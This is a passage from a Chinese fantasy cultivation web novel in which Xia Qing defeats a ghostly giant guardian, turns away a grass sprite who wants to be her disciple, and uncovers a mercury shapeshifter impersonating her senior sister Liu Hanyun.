果然人还是不能太得意,现世报来得真快。 好在雷令及时生效,起到的作用也不光是负面的。 泥鳅接触福生鼎便被雷霆弹开,泥沼当中出现一个几丈深的大坑,露出底下那块黑色的大石头。 夏清身后,小草精叹为观止:“你好厉害呀!” 幸好它没有再继续招惹这个人类! 泥沼被炸开之后,周围的淤泥缓缓回填,夏清双手合十,操纵福生鼎跳下深坑。 一如先前收服石头巨人,夏清故技重施,打算让福生鼎将那黑石头吸入鼎中,直接带上来。 但当福生鼎倒悬落下,即将笼罩黑石,忽然嗡一声古怪响动,同时泥沼中的淤泥猛地倒灌,将福生鼎盖在下面。 小草精陡然爆发一声尖叫,万分惊恐地退出几丈远。 夏清惊觉异动,抬头看向沼泽上空。 风从四面八方汇聚,于那沼泽地上方凝结出一道半透明的人影 此人身形高大,满身盔甲,哪怕看不真切模样,仍能从它魁梧的身躯中感受到浩瀚磅礴的力量。 小草精吱哇乱叫:“是巨灵!” 巨灵神,乃神族旁支。 这幻化而来的虚影应当并非真正的巨灵,而是远古战场中未得往生的亡魂。 “犯神碑者,当诛!” 浑厚低沉的嗓音,怒雷般炸响于沼泽地上空。 随即,巨灵举起手中的大斧头,照着夏清所在用力劈砍下来。 亡魂生前神力极高,此刻被夏清意外唤醒,其魂魄竟是半实体状。 这一斧头下来,裂空憾地,呼啦啦地疯狂拍打夏清脸庞,风中好像夹杂着成块的碎石头,宛如下了一场冰雹。 夏清心中升起不妙预感,暗道卧槽,忙不迭抽身躲避。 前面就是深不见底的泥沼,她只能往后退。 而她退得稍远一些,距离泥沼下的黑石头就更远了。 轰隆一声,巨斧劈砍在泥沼边缘,霎时泥地上就出现一条半米宽,两米多深的斧凿坑。 见状,夏清倒吸一口冷气。 那小草精只说让她收服黑石头,却不曾讲这黑石头上附着着如此强大的亡魂。 夏清惊出一身冷汗,扭头怒斥:“这巨灵如此厉害,怎么收服?!” 话音落下,没有回应,身后哪还有小草精的身影。 那小草精早跑得不见踪影了。 虽然夏清给它下的毒也让它害怕,但若被这巨灵斧子劈一下,它当场就要形神俱灭。 还是躲远一些,静观其变。 夏清甚至来不及生气,愤怒的巨灵又一斧子劈下来。 轰—— 夏清躲开巨斧,大地震动的余波推着她落地翻了个跟头,再起来,她浑身已经沾满污泥,跟自己下泥沼也没什么两样了。 更无语的是,如此大的动静都没有震醒白镜玄,它在夏清怀里蜷成一团,睡得香甜。 面对巨灵疯狂攻击,夏清心里甚至闪过一个念头。 倘若唤醒白镜玄,让白镜玄吸她的法力化形,估计要不了一炷香的时间,就能打败这只巨灵。 可这想法也就在夏清脑海中晃了一圈,很快便被夏清压下来。 且不说白镜玄化形需要多少法力,能不能如此频繁的化形,就算她依靠白镜玄的力量击败了巨灵,战后她的法力耗损一空,连那小草精怪都能对她的性命造成威胁,又何谈寻找柳师姐? 她需用自己的手段战胜巨灵。 巨灵屡次挥斧都没有斩中夏清,竟然还会变换招式。 它手中板斧变劈为扫,斧刃所过之处,泥淖翻滚沸腾。 夏清腾空跃起躲开这一击,但她前脚刚刚落地,便见眼前竖起一面高墙。 定睛细看,拦在她身前的并不是墙。 而是一大片,怒涛似的泥鳅。 “!” 还有完没完啊! 这些泥鳅落地便长出手脚,幻化为泥鳅小妖。 成群结队的泥鳅小妖舍身忘死冲向夏清,光是数量就能将夏清整个淹没了。 夏清脸都青了,这么多泥鳅小妖,她躲都没地方躲。 情急之下,夏清迅速掐诀,召回福生鼎。 福生鼎从天而降,轰隆一声将夏清罩在鼎肚子里,将铺天盖地冲过来的泥鳅小妖悉数拦截在大鼎外面。 大鼎落地,嗡一声震鸣,声音中蕴藏着巨大的能量,震得夏清耳朵都快聋了。 泥鳅小妖前仆后继撞在大鼎身上,夏清在大鼎内部躲着,只听鼎外一直响起叮叮当当的声音,接连不断,久久不停。 “这样下去可不是办法。”夏清自言自语。 巨灵的实力无疑完完全全将她碾压,这么强大的亡魂她上辈子都没见过。 面对巨灵密集又强横的进攻,她的应对方案只有闪躲,福生鼎还能勉强抗下对方的进攻,可她又拿什么去和巨灵战斗? 总不能还抡着鼎去打吧? 夏清苦于没有一件趁手的武器。 福生鼎不是万能的! 夏清苦于巨灵的巨大威能,一时间没有对策,苦恼不已。 便在这时,眼角余光捕捉到一丝古怪异光。 战斗中,夏清的感官尚维持着极高的敏锐度,她循着拿光芒看去,便见先前被她随手扔进大鼎的铁杵悬浮于半空之中,正散发着淡淡的橙色光亮。 定沙神针? 这玩意儿瞧着就晦气。 但如果……它哪怕有定海神针十分之一的力量,也足够帮助夏清度过眼下这场危机。 夏清神色犹豫,再看一眼。 她一直躲在鼎中可不行,不能降服巨灵就出不了结界,还何谈去找奇兽之血? 性命攸关的时刻,还矫情什么? 夏清冷静分析时局,如今她也顾不了太多了。 就算这擀面杖不是真的定海神针,至少也能当个铁杵防身。 一旦下了决心,夏清就不会再犹豫,她起身抓住铁杵,咬破指尖在定沙神针表面涂上自己的血。 法器认主都要经过这一步,白镜玄拉着她收服福生鼎时便是如此做的。 鲜血被铁杵迅速吸收,随即夏清感觉心跳一沉,好似有一股冥冥中的力量,将她与这根铁杵牢牢捆绑。 随即,神针的用法她无师自通。 最后一波泥鳅退去,福生鼎悬空飞起,露出藏身在鼎中的夏清。 巨灵面露凶光,用力挥下战斧。 夏清单手抓起福生鼎,当一声响,巨斧斧刃被福生鼎格挡,巨大的力量透过福生鼎传递到夏清身上,令她双足深深陷入泥泞之中。 巨大压力令她脸色发白,束发的绳子也被气劲震断,一头青丝飘散下来,在狂风中肆意摇摆。 “起!”夏清一声怒吼,增加法力输出。 巨斧竟硬生生被她扛着举起来。 巨灵一斧下来没破夏清防御,不由分说紧接着又挥出斧子。 这一次,夏清提前预判,猛拍鼎身,将福生鼎推上高空同时自己也高高跃起。 大斧斜劈下来,夏清不退反进,在福生鼎表面接力一踏,身形再拔高数丈。 斧刃擦着夏清双脚过去。 夏清险而又险避开这一击,手中,定沙神针自左右两端祥云花纹处裂变展开,层层嵌套,长度完全舒展,足有一丈长,末尾形成尖刺,宛如两把手柄衔接的尖枪。 形变之后的定沙神针表面密布玄奥的上古符文,夏清掌心感受到如岩浆般滚烫的温度。 但这温度却不伤及夏清,反倒传递来一股汹涌澎湃的力量。 夏清感觉自己手中握的并非一把双头尖枪,而是一头困于笼中已久的荒兽。 荒兽的力量通过夏清手掌涌入身体,夏清浑身经脉染上一层无形的赤炎,看准巨灵一斧落空,旧力已尽,新力未生之际,顺应本能将手中尖枪猛刺出去。 枪身剧烈震动,一道赤炎虚影脱离枪尖,如利箭般飞射出去,刹那洞穿巨灵的身体。 第49章 第四十九章 刹那华光一闪即逝, 定沙神针表面滚烫的纹样黯淡下去。 形态收缩,变回一根铁杵。 而夏清则在这一招之后感觉身体被掏空,再无力控制平衡, 从高空坠落。 幸而泥地柔软, 夏清摔得灰头土脸, 但无性命之忧。 她匆忙抬头, 便见巨灵仍然气势恢宏,保持握斧一击的姿态一动不动。 夏清心中惴惴不安, 那定沙神针该不会是花架子,没一点作用? 可就算如此,她也只能认命, 因为她没力气再战了。 数丈高空之上, 巨灵缓缓扭头。 夏清:“!” 下一秒,巨斧斧柄断裂,亡灵魂躯轰然破碎。 满地泥鳅小妖也纷纷回退, 跳进泥沼之中,夏清提起的心终于落回肚子里,扑通一声原地坐下。 事已至此,还哪管这淤泥地脏不脏, 先歇口气再说。 外面这么大的动静终于还是闹醒了白镜玄,小雪貂从夏清怀里探出脑袋,睡眼朦胧左顾右盼。 片刻后,它眼睛里的睡意缓缓褪去, 取而代之是不可思议。 空气中余留着还未完全消散的亡魂魂力,而夏清浑身沾满淤泥, 几乎变成一个泥人了。 “你可算醒了。”夏清喘匀气,朝怀里探头探脑的小东西瞧一眼, 眼珠子不怀好意地转了转,突然抬手照着小雪貂脑袋一抹,“同甘共苦。” 小雪貂:“……” 看着小雪貂脑袋上被泥水湿润,打绺的毛发,夏清好笑地眯起眼。 啪。 远处凭空飞来一把泥,猝不及防拍在夏清脸上。 福生鼎和定沙神针在空中悬停须臾,因为夏清后继无力,也跟着接连掉落,溅起一蓬又一蓬淤泥。 这回换夏清无语,与小雪貂大眼瞪小眼。 这现世报来得也太快了。 小貂儿吱吱笑出声。 夏清干脆把它抱起来,借它身上的毛毛擦脸。 白镜玄当然嫌弃这又黑又臭的淤泥,四条短腿强烈抗拒,一个劲儿推搡夏清。 “诶,你对我的感情也就只到这个程度嘛?”夏清故意拖长声这样讲,句尾语调打个旋儿,故作委屈,“泥巴糊了我的眼睛,你帮我擦擦怎么了?” 白镜玄:“……” 擦擦就擦擦,但哪有用人肚子擦的! 可她架不住夏清这样撒娇,明知对方故意调皮,她也还是放松了身体,任由夏清将整张泥脸埋进柔软的肚皮。 夏清得逞,抱着不再干净的小雪貂猛蹭两下,好歹是把脸上的泥巴蹭掉了。 随便两句话就能让白镜玄放弃抵抗,夏清觉得好笑,同时心里痒酥酥的,不忍心继续欺负它。 待体力恢复一些,她抱着小貂儿起身,抬手召回福生鼎和定沙神针。 说起来,这个定沙神针,威力真是出乎夏清的意料。 此物名字与定海神针相似,但用法却不完全相同,算是仿得还比较有诚意。 镇守神碑的亡魂被夏清消灭,笼罩在沼泽地上空的结界却还没有消失。 夏清将定沙神针别在腰后,随即又将福生鼎抛入沼泽地中,用余下不多的法力,驱使福生鼎再次潜入淤泥底下。 这一次,福生鼎顺利罩住黑石头,并将其整个从泥地中拔起来。 福生鼎完成任务,腾空跃起,在空中吐出满嘴淤泥,这才飞入夏清手中。 夏清托着小鼎不可思议:“你还挺爱干净。” 福生鼎在她掌中滴溜溜转,似乎在给她回应。 夏清两指在鼎身上轻轻一点,刚才吸入鼎中的黑石头便从鼎口飘出,悬在小鼎上空。 此物纳入夏清手中,只有巴掌那么大,表面无字,但刻有一些复杂的花纹,看起来像一块令牌。 具体什么用途夏清也不明白,便暂且将此物放回福生鼎中收好。 黑石头被夏清收走,虚空中确有规则悄然改变。 夏清放眼四顾,泥沼地外围的风景发生变化,先前雾蒙蒙的,而且一望无际,如今则能看清更远一些的地方,有裂谷,有断崖,还有坍倒的建筑。 手背上临时契约感应愈发清晰,夏清正待动身,却见那印痕忽然亮起红蒙蒙的光。 小貂儿倏地探出脑袋,小脸儿上神色凝重。 夏清感受到契约状态的变化,结合白镜玄的反应,心里大概有所预感,但不确定,遂迟疑地向白镜玄确认:“这契约有动静,可是柳师姐遭遇凶险了?” 小貂儿点了点头,证实了夏清的猜想。 想来,夏清方才与巨灵交手时,柳菡云也能感受到她的状态变化。 说不定柳菡云就是担心她,急匆匆赶来路上,遭遇了什么凶险。 这荒古遗迹毕竟是上古战场,上接天宫,下达魔渊,随便来个妖物都实力不俗,即便不到大乘境,也大差不差,摸到大乘境的门槛了。 夏清寻了条路往前走:“我们得速去支援柳师姐。” 刚刚经过一场大战,她体力耗尽,走得不快,抵达沼泽地边缘时,前方忽然出现一道拦路身影。 是刚才战中逃跑的小草精。 夏清停下脚步,眉头轻轻扬起来:“你还敢回来?” 刚才临阵脱逃害她差点死在巨灵手中,这小草精得记一大过。 不料,小草精扑通一声跪下,向夏清磕头。 “你太厉害了,收我做弟子吧!”小草精大声说道,“师尊在上,受弟子一拜!” 夏清:“……” “我可没说要收你做弟子,你拜了我也是白拜。” 小草精意志坚定,嗓音铿锵有力:“不管师尊同不同意,您今日起就是我的师尊了!” 夏清朝它翻了个白眼:“我怀疑你是想让我给你解毒,所以才演这一出。” 小草精急了:“不是的,我只是想跟随师尊修炼!” 它神情恳切,不像撒谎的样子。 夏清心头打鼓,看样子,好像是来真的? 没等夏清再开口,它扑通扑通连磕了好几个响头。 夏清无语,好言好语地劝它:“你我修的道不是同一条,我不会教你,如今结界已解,你且速速离去,往大千世界求你的道法吧!” 小草精非不愿意,态度格外坚持:“不要,我就要跟着师尊!学师尊的道法,您就收了弟子吧!” 夏清连连摆手:“不行不行,不可能的。” 她自己的道法还没修明白呢,怎么能为人师。 再说了,就她这随时可能招惹杀身之祸的狗屁剧本,随便收徒只会给徒儿们招灾,她不能如此不负责任。 “师尊不肯收我,难道是因为我人身修得不善,不入师尊法眼?”小草精琢磨着,脑袋歪歪,“师尊喜欢什么样的?等我日后道行再高一些,可以照着师尊喜欢的模样来变!” 夏清:“……” 她还没说什么呢,怀里小貂儿坐不住了。 它嗖地从夏清怀里跳出来,与那小草精凌空对峙。 “吱吱吱吱吱吱吱!” 小貂儿一通吱哇乱叫,小草精竟然露出受伤的表情,大受打击。 夏清一脸懵逼。 怎么,你们精怪原来是能意念交流的? 小草精委屈极了,忽然间就泪眼汪汪的,一蹶不振,难过得话都讲不出来。 而它对面的小雪貂则昂首挺胸,器宇轩昂。 夏清眉头微蹙,瞅一眼某只醋意大发的白毛小动物,抵不住心中万分好奇,遂问小草精:“她跟你说什么了?” 小草精沮丧地抹掉眼角的泪花,哽咽着抽抽嗒嗒地说:“它说它是师尊的修行道侣,它若不同意,师尊绝不会松口,让我不要再痴心妄想。” 夏清:“……” 嗯,虽然但是,好吧,其实也差不太多。 夏清默认了白镜玄的话,态度鲜明。 她的沉默让小草精更加难过,而小雪貂则更加骄傲,还调头跳进夏清怀里,摆出一个自认为很优雅的姿势舒舒服服躺下了。 “原来师尊不喜欢小草精,喜欢的是狐狸精!”小草精撂下这么一句话,大哭着跑走了。 望着小草精矮萝卜似的身影旋风似的跑远,夏清风中凌乱。 它跑就跑罢,怎么还骂人呢! 白镜玄气得浑身毛毛炸开,张牙舞爪,欲将那小草精追回来与它再理论一番。 理论不了就揍一顿。 瞎说什么,什么狐狸精!她和夏清是名正言顺的仙侣! 小雪貂飞扑到一半被夏清一把捞回来。 “这小屁孩,什么都不懂,就该好好去念书,还赶什么潮流拜什么师。”夏清嘴上喋喋不休,手却一刻不停,一下接一下顺小貂儿背上的毛毛。 原本雪白干净的毛发被她梳得越来越脏了。 夏清一边肆无忌惮地撸小貂儿毛毛,一边义愤填膺地跺跺脚。 “这哪是狐狸精,分明是貂精,连狐狸和貂都分不清。” 白镜玄:“……” 第50章 第五十章 白镜玄气结, 不想搭理夏清了。 夏清好笑地看她一眼,拍拍她的脑袋以示安抚。 眼下最重要的事还是先找到柳菡云。 夏清看一眼仍旧闪烁不停的临时契约,眉头微微锁起, 不知道柳菡云眼下是和情况。 临行前, 夏清忽然想起来, 她骗那小草精会被毒死的谎言还没澄清。 算了, 反正也不要紧。 柳菡云踏进虚空裂缝。 短暂的晕眩感退去之后,她抬眼观察四周, 发现自己悬在空中,脚下是一大片荒山。 此地空间规则与仙界相类,天地间的灵气虽然稀薄, 但比蛮荒大陆上又好上许多。 感觉坠落速度加快, 即将抵达地面。 柳菡云抽出腰间玉扇,往脚下落点甩出一道风刃。 风刃拍击地面,带来一股反冲的托举之力。 柳菡云借力腾身, 降落冲势减缓,她只需落地再翻个跟头卸去余劲,便能成功着陆。 落点是一个矮矮的缓坡。 柳菡云双脚触地,正待平衡身躯站稳, 岂料脚下草皮滑得站不住。 刺啦一声,她顺着坡溜下去,直滑到坡底。 好在这坡上草皮足够光滑,滑了那么长一段路, 她身上衣服都没有被划破。 柳菡云拍拍屁股站起来,抬眼, 发现不远处有一大片坍塌的建筑。 建筑已看不清原貌,倒塌的石柱表面残留着清晰的风蚀痕迹, 地面覆盖着一层厚厚的沙,看起来格外荒凉。 不知道这建筑以前是干什么用的,柳菡云左右瞧了瞧,借着临时契约的感应确认了夏清所在方位。 “诶?夏师妹和小貂儿在一起?”柳菡云感到意外。 她们的运气也太好了吧。 柳菡云心中思量着,决定先在建筑外围浅浅探一探,等摸清地形,再去找夏清。 她绕着建筑晃了一圈,外围什么也没有,坍塌的墙面上隐约还能看到一些不同颜色的砖瓦,可见这地方荒废已久。 柳菡云循着入口往建筑中走,这建筑的顶盖儿残缺不全,内部堆积着厚厚的灰尘。 建筑内有一条长长的通道,但堆积着大量的碎石砖瓦,探索起来并不容易。 柳菡云翻过拦路的遮挡,渐渐深入建筑内部。 走了没几步,柳菡云忽然感觉到背后闪过一丝凉意。 她扭头往回看,却什么也没有发现。 柳菡云皱起眉头,觉察此地古怪,暗暗捏紧玉扇,准备好随时面对突发状况。 她提心吊胆走了一路,最开始感觉到的那一下阴森森的凉意后来再没有出现过。 难不成,是她的错觉么? 之前在村庄中挑战山神时也有过类似的经历,因而柳菡云不敢放松警惕。 她缓步来到长廊深处,在拐角的位置发现一具枯骨。 这副枯骨骨骼泛青,骨质细密如玉,可见其人生前修为不低,至少也是个玄仙。 可玄仙级别的大能怎会死在此处? 柳菡云手中举着一块萤石,蹲下仔细观察,见这骸骨胸口有个* 指甲盖大小的物件儿反射萤石的华光。 细看,是一枚坠子。 此人死后,身上所有的东西都烂完了,只剩下这副枯骨和胸前的坠子。 可见,那吊坠绝非凡物。 柳菡云伸手将骸骨上的吊坠取下,口里呢喃道:“你死了呢,这些东西只能埋入黄土,我今日来到这里,也算与你有缘,不如就将此物赠我。” 她话说完,那骸骨眼睛处深凹的窟窿里,幽邃的紫光一闪而过。 顺利取下吊坠,没有惹来什么祸端,柳菡云面露喜色,瞧一眼手里的坠子。 这法器做工精致,虽然款式陈旧,但看得出来是好东西。 柳菡云随手掐个炎诀,将地上的枯骨焚化。 待地上的枯骨被炽烈的火焰焚烧成灰,柳菡云手中坠子上镶嵌的暗青色石头亮了一下,随后便听嗡一声响,此物散发处一道浅绿色的光芒,将柳菡云从头到脚笼罩。 不一会儿,光芒消失。 柳菡感觉自己身体表面好像附着一层薄薄的衣物,肉眼不可见,但防御效果大大增强。 这坠子原来是一件防具,直接佩戴就能生效。 白捡了一件防具,柳菡云颇为欣喜。 此地不知道还有没有别的宝贝。 柳菡云扭头看向长廊右侧,眼前又出现一条狭长的通道,她只短暂犹豫须臾,便动身往深处走。 而在她刚才短暂停留的地方,一道虚影自虚空中缓缓浮现。 其形态不断变幻,过了许久才最终锁定。 竟然是柳菡云。 她有着柳菡云的样貌,柳菡云的衣着,就连修为深浅与腰后那把玉扇都一模一样。 唯独不同,是此人的神态。 孤冷,傲慢,凉薄。 她看一眼柳菡云刚刚进入的通道,反手一挥,石墙竟然自行移动变幻,将原本有通道的地方严密封锁。 这条路的入口,消失了。 “应该就是这个方向,还有多远?” 夏清一边赶路,一边确认临时契约的状态。 距离她离开沼泽又过去了半日,她感觉自己距离柳菡云已经很近了。 但放眼望去,周围一片荒芜,没有任何交战的动静。 柳菡云既身陷险境,应该有什么响动才对。 夏清心生疑惑,难道又遇到了鬼打墙? 正这样想着,忽然一道风声从身侧传来,带着猛烈的腥风扑向夏清。 夏清熟练地侧身闪躲,同时挥起手中铁杵,嗙的一声砸中偷袭她的异兽。 那异兽嚎呼一声之后落地,掀起一蓬沙尘。 是一只荒兽。 荒兽乃是荒古遗迹独有的一种生物,应当是蛮荒凶兽受荒古遗迹中繁杂力量影响衍生而出的亚种凶兽,种类繁多,体型有大有小。 出现在夏清面前的这一只,长得像豺狗,但背上有一排脊刺,身后还有三条尾巴。 它落地后迅速翻滚一圈又站起来,朝夏清龇牙咧嘴。 夏清对荒兽的种类不太了解,但看得出来这只荒兽已经饿了很久。 它长得面黄肌瘦,骨头干得像柴禾,嘴巴张开,口水哗啦啦淌下来,一股股恶臭令夏清作呕。 夏清正待速战速决解决这只荒兽,怀里小雪貂忽然冒头,口中发出短促的吱吱声。 “你让我别跟它打?”夏清与小雪貂相处日久,已渐渐摸索出它的表达习惯。 话音未落,那荒兽已朝她扑过来。 夏清赶忙再次躲开,沉声道:“我是不想跟它打,但它好像没打算放我走!” 小雪貂:“吱吱吱!” “它还有同伙?”夏清意会了白镜玄的意思,扭头四顾,“哪儿呢?” 小貂儿爪爪抬起来,指向一个方位。 夏清一边躲避荒兽攻击,一边顺着小貂儿所指方向看去。 “我靠!” 不远处的山坡上,一大群约摸十来头相似的荒兽正迅速朝这里接近。 夏清吓了一跳,险些就被从侧边扑来的荒兽咬到。 她反应迅速,一道雷符拍在荒兽身上,同时自己抽身飞退。 只听得轰一声响,荒兽被炸得皮开肉绽。 但之前能直接将螳螂怪消灭的雷符,如今只炸烂了荒兽一个肩胛。 夏清毫不犹豫,拔腿就跑。 一边跑,她还一边摸出提前备好的雷符,以防不测。 身后荒兽遭受雷击,短暂顿了须臾,愈发暴怒,以更快的速度追向夏清。 夏清吱哇乱叫,疯狂加速,用学生时短跑一百米冲刺的速度跑上一条长长的坡道。 再然后,前面没路了。 更准确地说,前面是一个向下的断层,高度大约十米,下边儿有一座已经坍塌废弃的遗迹。 她此刻在遗迹被面,若要甩开身后那些荒兽,最便捷的办法就是从这里跳下去。 身后急而乱的脚步声和荒兽的吠叫声越来越近,夏清深吸一口气,低头看向怀里的小雪貂:“你准备好了吗?” 白镜玄:“?” 夏清话音落下,毫不犹豫从崖上跳下去。 同时,口中大喊:“快飞!” 白镜玄:“?!” 虽然事出突然,但夏清还是乘着雪貂竹蜻蜓成功落地,只是落地比较仓促,她还是翻了几个跟头。 但这点儿灰尘比起沼泽地的环境真是微不足道。 “这下该甩掉了吧?”夏清拍拍衣服起身。 她正待观察一下新环境,规划一下行动路线,忽然,身后传来扑通一声闷响。 夏清的心跳也跟着狠狠一个起落。 她猛地回头,便见追逐她的荒兽也从十多米高的崖上跳下来,落地竟然没有摔死。 不过,它应该是摔伤了腿,挣扎了半天也没站起来。 夏清提起的心又落下去,还好还好,摔到半残,她应付起来也不吃力。 但是,紧接着,崖上的荒兽们下饺子似的往下掉。 一道道黑影闯入夏清视野,扑通扑通的声音接二连三。 先跳下来的荒兽几乎都是断胳臂瘸腿,甚至有两只当场死亡。 而后面下来的几只则在半空中挑选了落点,踩着前一批荒兽的尸体安然落地。 夏清:“!” 啊啊啊啊,一群疯狗! 荒兽队伍损失惨重,一多半失去战力,但余下的五六只迅速将夏清包围。 前后左右退路皆被封死,夏清无奈只能摸出自己的擀面杖,准备和这些荒兽决一死战。 领头的荒兽一声令下,它手下的荒兽们立即发动进攻。 夏清一个人怎么打得过一群荒兽?! 眼看局势陷入危机,忽然几道风刃唰唰掠过,避开夏清的同时,精准击中其中一头荒兽。 霎时间鲜血迸溅,那荒兽嗷呜一声惨叫着坠落,肚皮上出现三条深可见骨的伤口。 它挣扎几下就不再动弹,余下荒兽被这场面震慑,略略退后。 夏清惊喜不已:“柳师姐!”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 50-60 第51章 第五十一章 一道人影缓步接近, 最终在夏清身侧停下脚步。 夏清分外惊喜:“柳师姐!” 柳菡云闻声看向她,面露微笑:“师妹。” 小雪貂倏地蹿上夏清肩膀,伏低身审视柳菡云, 眸底闪过一抹精光。 它的尾巴垂在夏清身后, 节奏不规律地左右摆动。 这时, 那群荒兽突然发出古怪哀嚎, 夏清心头一惊,提醒柳菡云:“师姐小心, 这些畜生穷凶极恶,难缠得很!” 柳菡云抬起一只手,身侧便掀起一阵风, 几道风刃盘旋飞出, 直取当中那头荒兽咽喉。 领头的荒兽匆忙退后,那几道风刃便落在它刚才短暂停留的地方,地面被风刃劈开, 留下几道寸许深的凹痕。 荒兽们再一次被柳菡云逼退,竟不再飞扑上来,而是放弃了夏清这个猎物,四散溃逃。 见状, 夏清长舒一口气:“可算是捡回一条命。” 不然怎么说柳菡云才是故事主角呢,看看人家这范儿,起得真是不错。 夏清对自己只是个炮灰的事实有了更加深刻的领悟。 荒兽危机解除,夏清收起自己的擀面杖:“师姐, 你先前可是遇到危机?” 闻言,柳菡云眉梢一抬, 有些讶异。 但这情绪转瞬即逝,面对夏清时, 仍然是一副平静温和的面目:“一些小麻烦,已经解决了。” 夏清不疑有他,朝柳菡云竖起大拇指:“不愧是师姐!” 说着,她扭头看向身后残垣,好奇地打量着:“这里是什么地方?” “是一座遗迹。”柳菡云回答夏清,“师妹寻来之前,我已在这遗迹的外围摸查过,捡到一件防身的法宝,但遗迹核心区域还未来得及探索,师妹不若与我一起?” “好啊!”夏清毫不犹豫…… 先前她数次麻烦柳菡云,难得柳菡云也找她帮忙,她当然义不容辞。 柳菡云颔首:“那师妹且跟我来。” 夏清正要迈步跟上,忽然,小雪貂从她肩膀跳下去,猛地蹿向柳菡云,不由分说,照着柳菡云的胳臂就一大口咬下去。 “卿卿!”夏清大惊,“回来!你在……”干什么?! 话没有说完,便见柳菡云反手一个巴掌甩向小貂儿。 而那小貂儿早有预判,小小的身子灵活一扭躲开迎面而来的袭击。 柳菡云一掌落空,掌风余劲拍击地面,将地表震碎,绽开几条龟裂。 貂儿纵身一跳便回退数尺,轻盈地蹿上夏清肩膀。 夏清停下脚步,看向柳菡云的眼神变得警惕。 柳菡云从容不迫的收回手,转身,向夏清控诉:“师妹,你养的貂儿咬我。” 夏清紧紧皱起眉头,目光上下打量柳菡云,闻言道:“所以师姐就要杀了它了吗?” 柳菡云方才那一掌乃是纯粹的条件反射,事出意外她下意识反击,因而没有收手,地面上残余的裂缝昭示着这一掌的余威。 倘若此掌落在小雪貂身上,它的下场只怕不比刚才那些荒兽好多少。 “凶兽伤人自然要给它一些教训,让它长长记性。”柳菡云嗓音冷淡,“有什么不对吗?” 夏清终于彻底清醒,沉下脸:“你不是师姐,你是谁?” 柳菡云犹自说道:“我当然是你的师姐,你怎能因为一只貂儿怀疑我?” 夏清冷哼一声,反手甩出一道雷符:“我怀疑你不是因为貂儿,而是你手上没有我们的临时契约!” 雷符只是一张折成角的黄纸,看起来轻飘飘的,“柳菡云”不设防,直接抬袖抵挡。 便听轰一声响,剧烈的爆破动静震得大地颤了颤,遗迹坍塌的柱头又更疮痍了两分。 待烟尘散去,夏清已从那空地上凭空消失。 遗迹外只剩“柳菡云”一人,她抬起的袖口被爆雷撕开一道口子,露出底下涌动如水银一般的物质。 短短数息,雷电灼烧的焦黑痕迹消失不见,她身上的衣服恢复整洁,完好如初。 夏清躲在一面破败的墙角下边儿,心脏因惊吓而扑扑跳动,偏偏她又怕呼吸声太重,惊动外面那只怪物,因此不得不尽量屏住呼吸,憋得脸都红了。 手背上,临时契约仍在闪烁,提示夏清柳菡云就在附近。 契约所指,当然不是外头那个怪物假扮的“柳菡云”。 这只精怪不知什么来头,幻形之术出神入化,不仅能模仿柳菡云的衣着长相和语气,竟连柳菡云使用的法术都能复刻。 倘若不是她手背上没有白镜玄画的那只小王八,夏清都不敢断定她是假的,恐怕只会以为师姐被妖物附身。 柳菡云既在附近,而且还身陷险境,多半就是这只精怪的手笔。 待喘匀气,夏清迅速掐了一卦。 此地残垣为山,山风蛊。 天昏地暗无法确认具体时辰,变卦未定,但本卦为蛊,大凶之卦。 灾祸存伏日久,因腐朽而生虫化毒,无可救药。 卜得此卦,夏清头皮发麻。 仅靠她一个人,只怕不是这怪物的对手。 但她并未就此放弃,而是迅速转动自己的脑子,思量对策。 土为木所克,而雷符属木,若用雷符与之交手,不仅解不了困局,还会助长对方气焰。 要解此卦之灾,只有两个办法。 其一,以金克木而救土,其二,以火泄木而生土。 她的法力不多,这两个方案只能择一而取。 但是,没等她思量出一个结果,头顶上方忽然飘下一道声音:“哦,原来躲在这里。” 夏清一个激灵,吓得魂都快不附体了。 她猛地抬头,便见“柳菡云”坐在断壁上方,眼神冷漠,居高临下。 夏清迅速抽身,足尖点地,几个起落拉开与“柳菡云”的距离。 她反手又取出两道符,唰唰扔向“柳菡云”。 “你只会这一种手段?”壁上,“柳菡云”语气轻蔑。 这一次,她吸取了先前的教训,直接掀起一道风壁将那两道符震开。 符角落地,一束藤蔓突然破土而出,拔地而起,如螣蛇般化作一道闪电卷向“柳菡云”,同时,另一张符在空中无火自燃,化作一蓬火雨飞溅下来。 藤蔓勾住“柳菡云”的脚腕,随即,火苗砸在藤蔓上,将藤枝引燃。 火势迅速蔓延,化作一条火蛟蛇顺着藤蔓朝“柳菡云”扑过去。 “柳菡云”眸色一沉,甩出一道风刃斩断藤蔓,火蛟蛇已扑至近前,她抬袖一拂将其扑灭,但袖口又显出一片焦黄之色。 抬眼,夏清又不见踪迹。 “柳菡云”唇边勾起一抹凉薄的冷笑。 “有趣。” 看你能躲到哪里。 夏清从一处残垣缺口翻进建筑内部。 外围视野还是过于开阔,不利于她躲藏,建筑内空间狭窄一些,能争取到更多时间。 但一味躲着当然不是办法,对方显然比她更熟悉这片遗迹的环境,迟早会找到她。 一旦她再被发现,要脱身就难了。 所以,她必须化被动为主动。 夏清借着残垣遮挡,蹑手蹑脚往遗迹深处走,物色一个绝佳的埋伏场所。 两个破局之法,她选了更稳妥的那一个。 “柳菡云”踱步在破败的长廊之间。 她的脚步分外悠闲。 在这暗无天日的地方,她已不知待了多久,已经很久没有人陪她玩过这么有趣的游戏。 所以,她还想再多玩一会儿。 夏清伏身于隐蔽的墙角之后,听见回廊中脚步声渐渐接近。 当那一道过分熟悉的身影绕过层层阻挡,最终停在墙根之后,与她只有一角之隔。 她深深叹了一口气。 “柳菡云”倏地从墙后探出脑袋。 她眉梢扬起,嘴边露出诡谲的笑意:“找到你了!” 可随即,眼前人身子一晃,扑通倒地。 “柳菡云”意外,看着突然躺倒在地的夏清,笑意凝固在脸上,眉目间淌出些许茫然。 下一秒,剑光如瀑,以一化千,利刃般掠过她的咽喉。 一颗圆滚滚的脑袋跌落在地,发出沉闷声响。那肉身则在短暂的僵硬之后,忽然碎散,化作一滩水银,在地上乱蹿。 白镜玄走出转角,看着地上没有实质形态的水银,皱起眉头。 方才那一剑,显然没有伤到此邪物的要害。 白镜玄看准那滩水银当中一颗拳头大小的凸起,抬起手掌,身侧盘旋的剑光立刻被牵动,嗖嗖攒射而去。 忽然,满地水银再一次凝聚成型。 这一次,她幻化的是夏清。 攒射而来的剑光在没入她眉心前一瞬陡然凝滞悬空,虽然最终还是穿透了她的脑门,却给了她可乘之机。 白镜玄陡然一惊,抬手抵挡,掌心被水银凝结的尖刺穿透一个窟窿。 